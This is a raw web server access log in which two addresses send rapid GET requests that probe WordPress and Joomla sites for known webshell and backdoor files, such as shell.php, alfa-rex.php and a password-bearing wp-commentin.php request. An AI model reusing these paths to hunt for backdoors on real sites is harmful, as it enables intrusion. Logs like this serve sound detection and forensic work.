[23/Apr/2025:03:23:43 -0400] "GET /wp-content/json.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:77.0) Gecko/20100101 Firefox/77.0" 149.88.19.87 - - [23/Apr/2025:03:23:43 -0400] "GET /wp-content/plugins/pwnd/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:74.0) Gecko/20100101 Firefox/74.0" 149.88.19.87 - - [23/Apr/2025:03:23:43 -0400] "GET /xltavrat.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:77.0) Gecko/20100101 Firefox/77.0" 149.88.19.87 - - [23/Apr/2025:03:23:43 -0400] "GET /wp-includes/PHPMailer/xoxo.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:71.0) Gecko/20100101 Firefox/71.0" 149.88.19.87 - - [23/Apr/2025:03:23:43 -0400] "GET /wp-includes/buy.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0" 149.88.19.87 - - [23/Apr/2025:03:23:43 -0400] "GET /wp-apxupx.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0" 149.88.19.87 - - [23/Apr/2025:03:23:43 -0400] "GET /.well-known/pki-validation/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 149.88.19.85 - - [23/Apr/2025:03:23:43 -0400] "GET /wp-content/uploads/json.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.97 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:23:43 -0400] "GET /about/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 149.88.19.87 - - [23/Apr/2025:03:23:43 -0400] "GET /.wp-back.phP HTTP/1.1" 301 795 "-" "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/6.0)" 149.88.19.87 - - [23/Apr/2025:03:23:43 -0400] "GET /wp-admin/css/colors/blue/hizuka.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:23:43 -0400] "GET /wp-content/plugins/ioptimization/IOptimize.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:23:43 -0400] "GET /.well-known/acme-challenge/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.129 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:23:43 -0400] "GET /wp-admin/includes/sidebart.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 149.88.19.85 - - [23/Apr/2025:03:23:43 -0400] "GET /wp-content/themes/freeyanz/config.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/69.0.3497.100 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:23:43 -0400] "GET /plugins/jquery.filer/uploads/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.88 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:23:43 -0400] "GET /wp-admin/fw.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.97 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:23:43 -0400] "GET /.well-known/deposit.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:71.0) Gecko/20100101 Firefox/71.0" 149.88.19.87 - - [23/Apr/2025:03:23:43 -0400] "GET /gu.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 149.88.19.87 - - [23/Apr/2025:03:23:43 -0400] "GET /.well-known/login.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 149.88.19.87 - - [23/Apr/2025:03:23:43 -0400] "GET /vendor/phpunit/phpunit/src/Util/PHP/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36" 149.88.19.85 - - [23/Apr/2025:03:23:44 -0400] "GET /wp-content/themes/erapress/config.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:23:44 -0400] "GET /wp-content/plugins/dummyyummy/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:76.0) Gecko/20100101 Firefox/76.0" 149.88.19.87 - - [23/Apr/2025:03:23:44 -0400] "GET /wp-content/uploads/lndex.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 149.88.19.87 - - [23/Apr/2025:03:23:44 -0400] "GET /wp-content/fw.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 149.88.19.87 - - [23/Apr/2025:03:23:44 -0400] "GET /wp-conf.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.79 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:23:44 -0400] "GET /wp-admin/css/colors/blue/colors.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:23:44 -0400] "GET /wp-content/uploads/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:75.0) Gecko/20100101 Firefox/75.0" 149.88.19.87 - - [23/Apr/2025:03:23:44 -0400] "GET /wp-content/themes/seotheme/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.88 Safari/537.36" 149.88.19.85 - - [23/Apr/2025:03:23:44 -0400] "GET /wp-content/plugins/doyanz/config.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.97 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:23:44 -0400] "GET /file.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 149.88.19.87 - - [23/Apr/2025:03:23:44 -0400] "GET /wp-admin/css/colors/light/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:76.0) Gecko/20100101 Firefox/76.0" 149.88.19.87 - - [23/Apr/2025:03:23:44 -0400] "GET /wp-commentin.php?pass=f0aab4595a024d626315fb786dce8282 HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 149.88.19.87 - - [23/Apr/2025:03:23:44 -0400] "GET /wp-admin/includes/alfa-rex.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 149.88.19.87 - - [23/Apr/2025:03:23:44 -0400] "GET /wp-content/themes/tflow/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:67.0) Gecko/20100101 Firefox/67.0" 149.88.19.87 - - [23/Apr/2025:03:23:44 -0400] "GET /wp-content/plugins/core/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.3; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 149.88.19.85 - - [23/Apr/2025:03:23:44 -0400] "GET /wp-content/themes/panama/json.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:23:44 -0400] "GET /wp-includes/fonts/old.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:23:44 -0400] "GET /wp-admin/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Fedora; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 149.88.19.87 - - [23/Apr/2025:03:23:44 -0400] "GET /wp-admin/maint/yes.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/75.0.3770.100 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:23:44 -0400] "GET /bs1.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Fedora; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 149.88.19.87 - - [23/Apr/2025:03:23:44 -0400] "GET /.well-known/pki-validation/atomlib.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:71.0) Gecko/20100101 Firefox/71.0" 149.88.19.87 - - [23/Apr/2025:03:23:44 -0400] "GET /wp-content/plugins/revslider/includes/external/page/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 149.88.19.85 - - [23/Apr/2025:03:23:44 -0400] "GET /wp-content/themes/moog/config.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:71.0) Gecko/20100101 Firefox/71.0" 149.88.19.87 - - [23/Apr/2025:03:23:44 -0400] "GET /wp-admin/images/preg_class.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0" 149.88.19.87 - - [23/Apr/2025:03:23:44 -0400] "GET /wp-includes/pomo/mpvloi.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.90 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:23:44 -0400] "GET /wp-admin/images/Mhbgf.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 149.88.19.87 - - [23/Apr/2025:03:23:44 -0400] "GET /wordpress/wp-admin/includes HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 149.88.19.87 - - [23/Apr/2025:03:23:44 -0400] "GET /wp-includes/sodium_compat/src/Core32/Curve25519/Ge/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:23:44 -0400] "GET /wp-content/plugins/Cache/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.90 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:23:44 -0400] "GET /wp-content/uploads/72.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 149.88.19.85 - - [23/Apr/2025:03:23:44 -0400] "GET /wp-content/uploads/2023/11/config.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.90 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:23:44 -0400] "GET /wp-admin/images/edit-tags.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:77.0) Gecko/20100101 Firefox/77.0" 149.88.19.87 - - [23/Apr/2025:03:23:44 -0400] "GET /wp-settings.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:23:44 -0400] "GET /wp-admin/js/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:23:44 -0400] "GET /libraries/fof/database/iterator/xmrlpc.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/69.0.3497.100 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:23:44 -0400] "GET /wp-content/themes/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:23:44 -0400] "GET /wp-includes/Text/iman.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.88 Safari/537.36" 149.88.19.85 - - [23/Apr/2025:03:23:45 -0400] "GET /wp-content/uploads/2023/12/config.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 149.88.19.87 - - [23/Apr/2025:03:23:45 -0400] "GET /wp-admin/includes/media.php.INFECTED.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:23:45 -0400] "GET /.well-known/pki-validation/shell.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:23:45 -0400] "GET /ALFA_DATA/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:79.0) Gecko/20100101 Firefox/79.0" 149.88.19.87 - - [23/Apr/2025:03:23:45 -0400] "GET /wp-content/data-db.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; rv:11.0) like Gecko" 149.88.19.87 - - [23/Apr/2025:03:23:45 -0400] "GET /wp-includes/theme-compat/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:67.0) Gecko/20100101 Firefox/67.0" 149.88.19.87 - - [23/Apr/2025:03:23:45 -0400] "GET /wp-includes/signin2.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:23:45 -0400] "GET /.well-known/pki-validation/install.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:77.0) Gecko/20100101 Firefox/77.0" 149.88.19.87 - - [23/Apr/2025:03:23:45 -0400] "GET /wp-includes/block-bindings.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:79.0) Gecko/20100101 Firefox/79.0" 149.88.19.85 - - [23/Apr/2025:03:23:45 -0400] "GET /wp-content/themes/blogai/issue.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:79.0) Gecko/20100101 Firefox/79.0" 149.88.19.87 - - [23/Apr/2025:03:23:45 -0400] "GET /wp-content/upgrade/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:23:45 -0400] "GET /index/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:23:45 -0400] "GET /components/com_newsfeeds/models/indexx.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/69.0.3497.100 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:23:45 -0400] "GET /uploads/test.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.90 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:23:45 -0400] "GET /wp-content/themes/pridmag/db.php?u HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:23:45 -0400] "GET /wp-admin/css/colors/ectoplasm/str_shuffcle.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.61 Safari/537.36" 149.88.19.85 - - [23/Apr/2025:03:23:45 -0400] "GET /wp-content/themes/agwin/config.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 149.88.19.87 - - [23/Apr/2025:03:23:45 -0400] "GET /wp-admin/css/colors/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:23:45 -0400] "GET /plugins/finder/categories/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.129 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:23:45 -0400] "GET /wp-content/plugins/seoplugins/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0" 149.88.19.87 - - [23/Apr/2025:03:23:45 -0400] "GET /wp-admin/maint/bless.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:79.0) Gecko/20100101 Firefox/79.0" 149.88.19.87 - - [23/Apr/2025:03:23:45 -0400] "GET /css/load.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:23:45 -0400] "GET /files/css_compare.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.129 Safari/537.36" 149.88.19.85 - - [23/Apr/2025:03:23:45 -0400] "GET /wp-content/themes/quext/config.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:67.0) Gecko/20100101 Firefox/67.0" 149.88.19.87 - - [23/Apr/2025:03:23:45 -0400] "GET /wp-includes/css/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:79.0) Gecko/20100101 Firefox/79.0" 149.88.19.87 - - [23/Apr/2025:03:23:45 -0400] "GET /updates.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Fedora; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 149.88.19.87 - - [23/Apr/2025:03:23:45 -0400] "GET /fonts/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 149.88.19.87 - - [23/Apr/2025:03:23:45 -0400] "GET /wp-content/upgrade/colour.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.129 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:23:45 -0400] "GET /wp-admin/js/widgets/cloud.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.3; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 149.88.19.87 - - [23/Apr/2025:03:23:45 -0400] "GET /wp-includes/0.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 149.88.19.85 - - [23/Apr/2025:03:23:45 -0400] "GET /wp-content/plugins/app-calendar/config.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:23:45 -0400] "GET /wp-includes/ID3 HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/75.0.3770.100 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:23:45 -0400] "GET /thanks.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 149.88.19.87 - - [23/Apr/2025:03:23:45 -0400] "GET /js/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 149.88.19.87 - - [23/Apr/2025:03:23:45 -0400] "GET /wp-admin/css/network.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.110 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:23:45 -0400] "GET /wp-content/plugins/fix/as.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 149.88.19.85 - - [23/Apr/2025:03:23:45 -0400] "GET /wp-content/smm.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:23:45 -0400] "GET /wp-admin/includes/go.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:23:45 -0400] "GET /wp-includes/Requests/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 149.88.19.87 - - [23/Apr/2025:03:23:46 -0400] "GET /wp-content/themes/finley/min.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:23:46 -0400] "GET /routes/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.61 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:23:46 -0400] "GET /wp-content/languages/wp-login.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 149.88.19.87 - - [23/Apr/2025:03:23:46 -0400] "GET /checkbex.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 149.88.19.85 - - [23/Apr/2025:03:23:46 -0400] "GET /jetpack.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:77.0) Gecko/20100101 Firefox/77.0" 149.88.19.87 - - [23/Apr/2025:03:23:46 -0400] "GET /wp-includes/prayer_intentions.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 149.88.19.87 - - [23/Apr/2025:03:23:46 -0400] "GET /wp-includes/blocks/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.3; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 149.88.19.87 - - [23/Apr/2025:03:23:46 -0400] "GET /wp-content/themes/mero-megazines/ws.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 149.88.19.87 - - [23/Apr/2025:03:23:46 -0400] "GET /.well-known/install.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:76.0) Gecko/20100101 Firefox/76.0" 149.88.19.87 - - [23/Apr/2025:03:23:46 -0400] "GET /wp-includes/fonts/class-wp-font-collection.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36" 149.88.19.85 - - [23/Apr/2025:03:23:46 -0400] "GET /xltavrat.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:23:46 -0400] "GET /wp-includes/certificates/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:23:46 -0400] "GET /wp-admin/includes/nav.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:23:46 -0400] "GET /uploads/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:23:46 -0400] "GET /wp-includes/class-wp-smtp-bar.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.88 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:23:46 -0400] "GET /wp-content/themes/welfare-charity/www.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 